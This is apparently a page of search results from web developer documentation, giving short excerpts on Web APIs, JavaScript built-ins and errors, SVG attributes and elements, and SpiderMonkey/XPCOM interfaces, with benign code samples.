... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.echocancellation property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... echo cancellation is a feature which attempts to prevent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output device and their input device.
...And 7 more matches
Node.localName - Web APIs
WebAPINodelocalName
the node.localname read-only property returns the local part of the qualified name of this node.
... syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px"...
... height="100px" viewbox="0 0 100 100"> <svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/> </svg:svg> <textarea id="text" rows="4" cols="55"/> </body> </html> notes the local name of a node is that part of the node's qualified name that comes after the colon.
...And 7 more matches
NotificationAction - Web APIs
the notificationaction interface of the notifications api is used to represent action buttons the user can click to interact with notifications.
... these buttons' appearance and specific functionality vary across platforms but generally they provide a way to asynchronously show actions to the user in a notification.
... properties instance properties these properties are available only on instances of the notification object.
...And 7 more matches
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
authenticatorselection, an optional property of the publickeycredentialcreationoptions dictionary, is an object giving criteria to filter out the authenticators to be used for the creation operation.
... syntax authenticatorselection = publickeycredentialcreationoptions.authenticatorselection value an object with the following properties: authenticatorattachmentoptional a string which is either "platform" or "cross-platform".
... the former describes an authenticator which is bound to the client and which is generally not removable.
...And 7 more matches
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
the rtcicecandidatepairstats property availableoutgoingbitrate returns a value indicative of the available outbound capacity of the network connection represented by the candidate pair.
... the higher the value, the more bandwidth you can assume is available for outgoing data.
... you can get the incoming available bitrate from availableincomingbitrate.
...And 7 more matches
Canvas size and WebGL - Web APIs
« previousnext » this webgl example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window.
... effect of canvas size on rendering with webgl with scissor() and clear() we can demonstrate how the webgl drawing buffer is affected by the size of the canvas.
... the size of the first canvas is set to the styled element size, determined by css.
...And 7 more matches
WebXR application life cycle - Web APIs
in this guide, we'll get a birds-eye view of what's involved in creating and driving a webxr application, without diving down to the code level in detail.
... this serves as preparation for the next few articles in these webxr guides, which cover starting up and shutting down a webxr session, geometry, simulating cameras, spatial tracking, and more.
... life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's device and browser are both capable of presenting the xr experience you want to provide.
...And 7 more matches
Window.localStorage - Web APIs
the read-only localstorage property allows you to access a storage object for the document's origin; the stored data is saved across browser sessions.
... localstorage is similar to sessionstorage, except that while data stored in localstorage has no expiration time, data stored in sessionstorage gets cleared when the page session ends — that is, when the page is closed.
... (data in a localstorage object created in a "private browsing" or "incognito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page.
...And 7 more matches
Feature-Policy: geolocation - HTTP
the http feature-policy header geolocation directive controls whether the current document is allowed to use the geolocation interface.
... when this policy is enabled, calls to getcurrentposition() and watchposition() will cause those functions' callbacks to be invoked with a positionerror code of permission_denied.
... by default, the geolocation api can be used within top-level documents and their same-origin child frames.
...And 7 more matches
HTTP resources and specifications - HTTP
designed with extensibility in mind, it has seen numerous additions over the years; this lead to its specification being scattered through numerous specification documents (in the midst of experimental abandoned extensions).
... specification title status rfc 7230 hypertext transfer protocol (http/1.1): message syntax and routing proposed standard rfc 7231 hypertext transfer protocol (http/1.1): semantics and content proposed standard rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http immutable responses proposed standard rfc 7235 hypertext transfer protocol (h...
...ttp/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cookies from non-secure origins ietf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data" url scheme proposed standard rfc 3986 unifor...
...And 7 more matches
TypeError: X.prototype.y called on incompatible type - JavaScript
the javascript exception "called on incompatible target (or object)" occurs when a function (on a given object), is called with a this not corresponding to the type expected by the function.
... message typeerror: 'this' is not a set object (edge) typeerror: function.prototype.tostring called on incompatible object (firefox) typeerror: function.prototype.bind called on incompatible target (firefox) typeerror: method set.prototype.add called on incompatible receiver undefined (chrome) typeerror: bind must be called on a function (chrome) error type typeerror what went wrong?
... when this error is thrown, a function (on a given object), is called with a this not corresponding to the type expected by the function.
...And 7 more matches
Array.prototype.concat() - JavaScript
the concat() method is used to merge two or more arrays.
... syntax const new_array = old_array.concat([value1[, value2[, ...[, valuen]]]]) parameters valuen optional arrays and/or values to concatenate into a new array.
... if all valuen parameters are omitted, concat returns a shallow copy of the existing array on which it is called.
...And 7 more matches
BigInt.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language-sensitive representation of this bigint.
... syntax bigintobj.tolocalestring([locales [, options]]) parameters the locales and options arguments customize the behavior of the function and let applications specify the language whose formatting conventions should be used.
... in implementations that ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent.
...And 7 more matches
Function.caller - JavaScript
the function.caller property returns the function that invoked the specified function.
... it returns null for strict, async function and generator function callers.
... description if the function f was invoked by the top level code, the value of f.caller is null, otherwise it's the function that called f.
...And 7 more matches
Intl.Collator.supportedLocalesOf() - JavaScript
the intl.collator.supportedlocalesof() method returns an array containing those of the provided locales that are supported in collation without having to fall back to the runtime's default locale.
... syntax intl.collator.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.DateTimeFormat.supportedLocalesOf() - JavaScript
the intl.datetimeformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall back to the runtime's default locale.
... syntax intl.datetimeformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.DisplayNames.supportedLocalesOf() - JavaScript
the intl.displaynames.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall back to the runtime's default locale.
... syntax intl.displaynames.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.ListFormat.supportedLocalesOf() - JavaScript
the intl.listformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall back to the runtime's default locale.
... syntax intl.listformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.Locale.prototype.script - JavaScript
the intl.locale.prototype.script property is an accessor property which returns the script used for writing the particular language used in the locale.
... description a script, sometimes called writing system, is one of the core attributes of a locale.
... it indicates the set of symbols, or glyphs, that are used to write a particular language.
...And 7 more matches
Intl.NumberFormat.supportedLocalesOf() - JavaScript
the intl.numberformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in number formatting without having to fall back to the runtime's default locale.
... syntax intl.numberformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.PluralRules.supportedLocalesOf() - JavaScript
the intl.pluralrules.supportedlocalesof() method returns an array containing those of the provided locales that are supported in plural formatting without having to fall back to the runtime's default locale.
... syntax intl.pluralrules.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
the intl.relativetimeformat.supportedlocalesof() method returns an array containing those of the provided locales that are supported in date and time formatting without having to fall back to the runtime's default locale.
... syntax intl.relativetimeformat.supportedlocalesof(locales[, options]) parameters locales a string with a bcp 47 language tag, or an array of such strings.
... for the general form of the locales argument, see the intl page.
...And 7 more matches
Proxy.revocable() - JavaScript
the proxy.revocable() method is used to create a revocable proxy object.
... syntax proxy.revocable(target, handler); parameters target a target object to wrap with proxy.
... it can be any sort of object, including a native array, a function, or even another proxy.
...And 7 more matches
end - SVG: Scalable Vector Graphics
WebSVGAttributeend
the end attribute defines an end value for the animation that can constrain the active duration.
...each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded event).
...an optional offset value as defined in <offset-value> can be appended.
...And 7 more matches
stroke-linejoin - SVG: Scalable Vector Graphics
note: as a presentation attribute stroke-linejoin can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following nine elements: <altglyph>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 18 12" xmlns="http://www.w3.org/2000/svg"> <!-- upper left path: effect of the "miter" value --> <path d="m1,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter" /> <!-- center path: effect of the "round" value --> <path d="m7,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="round" /> <!-- upper right path: effect of the "bevel" value --> <path d="m13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" ...
... the arcs value indicates that an arcs corner is to be used to join path segments.
...And 7 more matches
textLength - SVG: Scalable Vector Graphics
by default, only the spacing between characters is adjusted, but the glyph size can also be adjusted if you change lengthadjust.
... by using textlength, you can ensure that your svg text displays at the same width regardless of conditions including web fonts failing to load (or not having loaded yet).
... example let's create a simple example that presents text you can resize using an <input> element of type "range".
...And 7 more matches
transform - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation attribute, meaning it can be used as a css property.
...see the documentation for the css property transform for the specific syntax to use in that case.
... as a presentation attribute, transform can be used by any element (in svg 1.1, only these 16 elements were allowed to use it: <a>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <path>, <polygon>, <polyline>, <rect>, <switch>, <text>, and <use>).
...And 7 more matches
writing-mode - SVG: Scalable Vector Graphics
(note that the inline-progression-direction can change within a <text> element due to the unicode bidirectional algorithm and properties direction and unicode-bidi.) note: as a presentation attribute, writing-mode can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> usage notes default value horizontal-tb value horizontal-tb | vertical-rl | vertical-lr animatable yes horizontal-tb this value defines a top-to-bottom block flow direction.
... vertical-rl this value defines a right-to-left block flow direction.
...And 7 more matches
<a> - SVG: Scalable Vector Graphics
WebSVGElementa
the <a> svg element creates a hyperlink to other web pages, files, locations in the same page, email addresses, or any other url.
... svg's <a> element is a container, which means you can create a link around text (like in html) but also around any shape.
... attributes download instructs browsers to download a url instead of navigating to it, so the user will be prompted to save it as a local file.
...And 7 more matches
<cursor> - SVG: Scalable Vector Graphics
WebSVGElementcursor
the <cursor> svg element can be used to define a platform-independent custom cursor.
... the png format is recommended because it supports the ability to define a transparency mask via an alpha channel.
... if a different image format is used, this format should support the definition of a transparency mask (two options: provide an explicit alpha channel or use a particular pixel color to indicate transparency).
...And 7 more matches
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
it is used as the outermost element of svg documents, but it can also be used to embed an svg fragment inside an svg or html document.
... html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires.
... value type: <string> ; default value: none; animatable: no contentscripttype deprecated since svg 2 the default scripting language used by the svg fragment.
...And 7 more matches
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
=".25" height=".25"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned before, including gradients and opacity.
...it defaults to "objectboundingbox" as it did above, so a value of 1 is scaled to the width/height of the object you're applying the pattern to.
... since, in this case, we wanted the pattern to repeat 4 times horizontally and vertically, the height and width are set to 0.25.
...And 7 more matches
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
basics we have seen in the introducing example, that the text element can be used to put arbitrary text in svg documents: <text x="10" y="10">hello world!</text> the x and y attributes determine, where in the viewport the text will appear.
... the attribute text-anchor, which can have the values "start", "middle", "end" or "inherit", decides in which direction the text flows from this point.
... the attribute dominant-baseline decides the vertical alignment.
...And 7 more matches
Tools for SVG - SVG: Scalable Vector Graphics
inkscape url: www.inkscape.org one of the most important tools for a graphics format is a decent drawing program.
... inkscape offers state-of-the-art vector drawing, and it's open source.
...to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg.
...And 7 more matches
Web Localizability
localizability (or l12y for short) is a characteristic found in an application or content that enables localization.
... the following list contains links to pages that highlight steps that can be taken to make web content localizable.
... the documentation is divided into 4 parts: how to create localizable content.
...And 6 more matches
JS::Call
this article covers features introduced in spidermonkey 17 call a specified js function.
... syntax bool js::call(jscontext *cx, js::handleobject thisobj, js::handlefunction fun, const js::handlevaluearray &args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, const char *name, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handleobject thisobj, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handlevalue fun, const js::handlevaluearray& args, js::mutablehandlevalue rval); bool js::call(jscontext *cx, js::handlevalue thisv, js::handleobject funobj, const js::handlevaluearray& args, js::mutablehandlevalue rval); name type description ...
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 6 more matches
JS::SetOutOfMemoryCallback
this article covers features introduced in spidermonkey 31 specify a new callback function for out of memory error.
... syntax void js::setoutofmemorycallback(jsruntime *rt, js::outofmemorycallback cb, void *data); name type description rt jsruntime * the jsruntime for which to set the gc callback.
... cb js::outofmemorycallback pointer to the new callback function to use.
...And 6 more matches
JS_ForgetLocalRoot
remove a value from the innermost current local root scope.
... syntax void js_forgetlocalroot(jscontext *cx, void *thing); name type description cx jscontext * pointer to the context in which the caller is running.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 6 more matches
JS_SetCheckObjectAccessCallback
set the runtime-wide check-object-access callback.
... this function is deprecated.
... in spidermonkey 1.8.1 and later, use js_setruntimesecuritycallbacks instead.
...And 6 more matches
JS_SetCompartmentNameCallback
this article covers features introduced in spidermonkey 17 set callback function to name each compartment.
... syntax void js_setcompartmentnamecallback(jsruntime *rt, jscompartmentnamecallback callback); name type description cx jsruntime * the runtime to set the callback function.
... callback jscompartmentnamecallback callback function which will be called to name each compartment (see below).
...And 6 more matches
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that handles performing background update checks.
... canapplyupdates boolean true if the update service can download and install updates.
... indicates if the current user has access privileges to the install directory.
...And 6 more matches
nsICacheListener
netwerk/cache/nsicachelistener.idlscriptable this interface is a cache listener.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void oncacheentryavailable(in nsicacheentrydescriptor descriptor, in nscacheaccessmode accessgranted, in nsresult status); void oncacheentrydoomed(in nsresult status); methods oncacheentryavailable() this method is called when the requested access (or appropriate subset) is acquired.
...see nsicacheservice for accessgranted values.
...And 6 more matches
AuthenticatorAssertionResponse - Web APIs
the authenticatorassertionresponse interface of the web authentication api is returned by credentialscontainer.get() when a publickeycredential is passed, and provides proof to a service that it has a key pair and that the authentication request is valid and approved.
... this interface inherites from authenticatorresponse.
... properties authenticatorassertionresponse.clientdatajson secure contextread only the client data for the authentication, such as origin and challenge.
...And 6 more matches
CacheStorage.delete() - Web APIs
the delete() method of the cachestorage interface finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true.
... if no cache object is found, it resolves to false.
... you can access cachestorage through the global caches property.
...And 6 more matches
CacheStorage.has() - Web APIs
WebAPICacheStoragehas
the has() method of the cachestorage interface returns a promise that resolves to true if a cache object matches the cachename.
... you can access cachestorage through the global caches property.
... syntax caches.has(cachename).then(function(boolean) { // true: your cache exists!
...And 6 more matches
CanvasRenderingContext2D.clearRect() - Web APIs
the canvasrenderingcontext2d.clearrect() method of the canvas 2d api erases the pixels in a rectangular area by setting them to transparent black.
... note: be aware that clearrect() may cause unintended side effects if you're not using paths properly.
... make sure to call beginpath() before starting to draw new items after calling clearrect().
...And 6 more matches
CanvasRenderingContext2D.closePath() - Web APIs
the canvasrenderingcontext2d.closepath() method of the canvas 2d api attempts to add a straight line from the current point to the start of the current sub-path.
... this method doesn't draw anything to the canvas directly.
... you can render the path using the stroke() or fill() methods.
...And 6 more matches
CanvasRenderingContext2D.strokeText() - Web APIs
the canvasrenderingcontext2d method stroketext(), part of the canvas 2d api, strokes — that is, draws the outlines of — the characters of a text string at the specified coordinates.
... this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
... syntax canvasrenderingcontext2d.stroketext(text, x, y [, maxwidth]); parameters text a domstring specifying the text string to render into the context.
...And 6 more matches
DOMLocator - Web APIs
note: this is not implemented in mozilla indicates a location such as where an error occurred.
... returned by domerror.location.
... properties domlocator.linenumber read only returns a positive integer or -1.
...And 6 more matches
HTMLElement: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
...therefore, either directly or because any of its containing nodes are hidden.
... an event handler for this event can be added by setting the onanimationcancel property, or using addeventlistener().
...And 6 more matches
MediaTrackConstraints.echoCancellation - Web APIs
the mediatrackconstraints dictionary's echocancellation property is a constrainboolean describing the requested or mandatory constraints placed upon the value of the echocancellation constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 6 more matches
MediaTrackConstraints.logicalSurface - Web APIs
the mediatrackconstraints dictionary's logicalsurface property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the logicalsurface constrainable property.
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 6 more matches
Media Capture and Streams API (Media Stream) - Web APIs
the media capture and streams api, often called the media streams api or simply mediastream api, is an api related to webrtc which provides support for streaming audio and video data.
... it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error callbacks when using the data asynchronously, and the events that are fired during the process.
...a mediastream object generated by getusermedia() is called local, and has as its source input one of the user's cameras or microphones.
...And 6 more matches
Notification.close() - Web APIs
the close() method of the notification interface is used to close/remove a previously displayed notification.
... note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay since this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
... a valid use for this api would be to remove a notification that is no longer relevant (e.g.
...And 6 more matches
Notification.permission - Web APIs
the permission read-only property of the notification interface indicates the current permission granted by the user for the current origin to display web notifications.
... syntax var permission = notification.permission; value a domstring representing the current permission.
... the value can be: granted: the user has explicitly granted permission for the current origin to display system notifications.
...And 6 more matches
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
isuserverifyingplatformauthenticatoravailable() is a static method of the publickeycredential interface that returns a promise which resolves to true if a user-verifying platform authenticator is available.
... a user-verifying platform authenticator is a kind of multi-factor authenticator that is part of the client device (it is generally not removable) and that involves an action from the user in order to identify them.
... at the time of this writing, this method's result only resolves to true on windows when windows hello capabilities are available (on recent versions of this os).
...And 6 more matches
RTCIceCandidate.component - Web APIs
the read-only component property on the rtcicecandidate interface is a string which indicates whether the candidate is an rtp or an rtcp candidate.
... if a candidate represents both rtp and rtcp multiplexed together, it is reported as an rtp candidate.
... syntax var component = rtcicecandidate.component; value a domstring which is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates.
...And 6 more matches
RTCIceCandidateInit - Web APIs
the webrtc api's rtcicecandidateinit dictionary, which contains the information needed to fundamentally describe an rtcicecandidate.
... rtcicecandidateinit is used when using new rtcicecandidate() to create a new ice candidate object.
... it's also used as the return value from the rtcicecandidate.tojson() method, and can be passed directly into rtcpeerconnection.addicecandidate() to add a candidate to the peer connection.
...And 6 more matches
RTCIceCandidatePairStats.state - Web APIs
the state property in an rtcicecandidatepairstats object indicates the state of the check list of which the candidate pair is a member.
... syntax state = rtcicecandidatepairstats.state; value a domstring whose value is one of those found in the rtcstatsicecandidatepairstate enumerated type.
... ice check lists during ice negotiation, the ice layer builds up a check list, which is a list of potential pairings of ice candidates.
...And 6 more matches
RTCIceCandidateStats.relayProtocol - Web APIs
the rtcicecandidatestats dictionary's relayprotocol property specifies the protocol being used by a local ice candidate to communicate with the turn server.
... the ice protocl being used by the candidate otherwise can be obtained from the protocol property.
... syntax relayprotocol = rtcicecandidatestats.relayprotocol; value a domstring identifying the protocol being used by the endpoint to communicate with the turn server.
...And 6 more matches
RTCIceTransport.getRemoteCandidates() - Web APIs
the rtcicetransport method getremotecandidates() returns an array which contains one rtcicecandidate for each of the candidates that have been received from the remote peer so far during the current ice gathering session.
... each time your signaling code calls rtcpeerconnection.addicecandidate() to add a received candidate to the ice session, the ice agent places it in the list returned by this function.
... syntax remotecandidates = rtcicetransport.getremotecandidates(); parameters none.
...And 6 more matches
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
the packetsduplicated property of the rtcinboundrtpstreamstats dictionary indicates the total number of packets discarded because they were duplicates of previously-received packets.
... these packets are not counted by the packetsdiscarded property.
... syntax var packetsduplicated = rtcinboundrtpstreamstats.packetsduplicated; value an integer value which specifies how many duplcate packets have been received by the local end of this rtp stream so far.
...And 6 more matches
RTCPeerConnection: icecandidateerror event - Web APIs
the webrtc api event icecandidateerror is sent to an rtcpeerconnection if an error occurs while performing ice negotiations through a stun or turn server.
... bubbles no cancelable no interface rtcpeerconnectioniceerrorevent event handler property rtcpeerconnection.onicecandidateerror description the error object's errorcode property is one of the numeric stun error codes.
...error 701 indicates that none of the ice candidates were able to successfully make contact with the stun or turn server.
...And 6 more matches
ServiceWorkerRegistration.getNotifications() - Web APIs
the getnotifications() method of the serviceworkerregistration interface returns a list of the notifications in the order that they were created from the current origin via the current service worker registration.
... origins can have many active but differently-scoped service worker registrations.
... notifications created by one service worker on the same origin will not be available to other active services workers on that same origin.
...And 6 more matches
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
the javascript warning "javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead" occurs when a for each (variable in obj) statement is used.
... message warning: javascript 1.6's for-each-in loops are deprecated; consider using es6 for-of instead error type warning what went wrong?
... javascript 1.6's for each (variable in obj) statement is deprecated, and will be removed in the near future.
...And 6 more matches
TypeError: cannot use 'in' operator to search for 'x' in 'y' - JavaScript
it can only be used to check if a property is in an object.
... message typeerror: invalid operand to 'in' (edge) typeerror: right-hand side of 'in' should be an object, got 'x' (firefox) typeerror: cannot use 'in' operator to search for 'x' in 'y' (firefox, chrome) error type typeerror what went wrong?
... the in operator can only be used to check if a property is in an object.
...And 6 more matches
Intl.Locale.prototype.language - JavaScript
the intl.locale.prototype.language property is an accessor property that returns the language associated with the locale.
... description language is one of the core features of a locale.
... the unicode specification treats the language identifier of a locale as the language and the region together (to make a distiction between dialects and variations, e.g.
...And 6 more matches
Intl.Locale.prototype.maximize() - JavaScript
the intl.locale.prototype.maximize() method gets the most likely values for the language, script, and region of the locale based on existing values.
... syntax locale.maximize() return value a locale instance whose basename property returns the result of the add likely subtags algorithm executed against locale.basename.
... description sometimes, it is convenient to be able to identify the most likely locale language identifier subtags based on an incomplete langauage id.
...And 6 more matches
Intl.Locale.prototype.minimize() - JavaScript
the intl.locale.prototype.minimize() method attempts to remove information about the locale that would be added by calling locale.maximize().
... syntax locale.minimize() return value a locale instance whose basename property returns the result of the remove likely subtags algorithm executed against locale.basename.
... description this method carries out the reverse of maximize(), removing any language, script, or region subtags from the locale language identifier (essentially the contents of basename).
...And 6 more matches
Symbol.isConcatSpreadable - JavaScript
the symbol.isconcatspreadable well-known symbol is used to configure if an object should be flattened to its array elements when using the array.prototype.concat() method.
... description the @@isconcatspreadable symbol (symbol.isconcatspreadable) can be defined as an own or inherited property and its value is a boolean.
... it can control behavior for arrays and array-like objects: for array objects, the default behavior is to spread (flatten) elements.
...And 6 more matches
escape() - JavaScript
warning: although escape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
...… the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence.
... note: this function was used mostly for url queries (the part of a url following ?)—not for escaping ordinary string literals, which use the format "\xhh".
...And 6 more matches
unescape() - JavaScript
warning: although unescape() is not strictly deprecated (as in "removed from the web standards"), it is defined in annex b of the ecma-262 standard, whose introduction states: … all of the language features and behaviours specified in this annex have one or more undesirable characteristics and in the absence of legacy usage would be removed from this specification.
...… the unescape() function computes a new string in which hexadecimal escape sequences are replaced with the character that it represents.
... the escape sequences might be introduced by a function like escape.
...And 6 more matches
alignment-baseline - SVG: Scalable Vector Graphics
note: as a presentation attribute alignment-baseline can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <tspan>, <tref>, <altglyph>, and <textpath> usage notes value auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | top | center | bottom default value auto animatable yes auto the value is the dominant-baseline of the script to which the character belongs - i.e., use the dominant-baseline of the parent.
... middle aligns the vertical midpoint of the box with the baseline of the parent box plus half the x-height of the parent.
...And 6 more matches
refX - SVG: Scalable Vector Graphics
WebSVGAttributerefX
value <length-percentage> | <number> | left | center | right default value 0 animatable yes <length-percentage> lengths are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes.
... <number> numbers are interpreted as being in the coordinate system of the marker contents, after application of the viewbox and preserveaspectratio attributes.
... unlike other positioning attributes, refx is interpreted as being in the coordinate system of the symbol contents, after application of the viewbox and preserveaspectratio attributes.
...And 6 more matches
shape-rendering - SVG: Scalable Vector Graphics
note: as a presentation attribute, shape-rendering can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" shape-rendering="geometricprecision"/> <circle cx="320" cy="100" r="100" shape-rendering="crispedges"/> </svg> usage notes value auto | optimizespeed | crispedges | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make appropriate tradeoffs to balance speed, crisp edges and geometric precision, but with geometric precision given more importance than speed and ...
... optimizespeed this value indicates that the user agent shall emphasize rendering speed over geometric precision and crisp edges.
...And 6 more matches
text-rendering - SVG: Scalable Vector Graphics
note: as a presentation attribute, text-rendering can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following element: <text> html, body, svg { height: 100%; } <svg viewbox="0 0 140 40" xmlns="http://www.w3.org/2000/svg"> <text y="15" text-rendering="geometricprecision">geometric precision</text> <text y="35" text-rendering="optimizelegibility">optimized legibility</text> </svg> usage notes value auto | optimizespeed | optimizelegibility | geometricprecision default value auto animatable yes auto this value indicates that the user agent shall make appropriate tradeoffs to balance speed, legibility and geometric precision, but with legibility given more importance than speed and g...
... optimizespeed this value indicates that the user agent shall emphasize rendering speed over legibility and geometric precision.
...And 6 more matches
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
svg elements can be modified using attributes that specify details about exactly how the element should be handled or rendered.
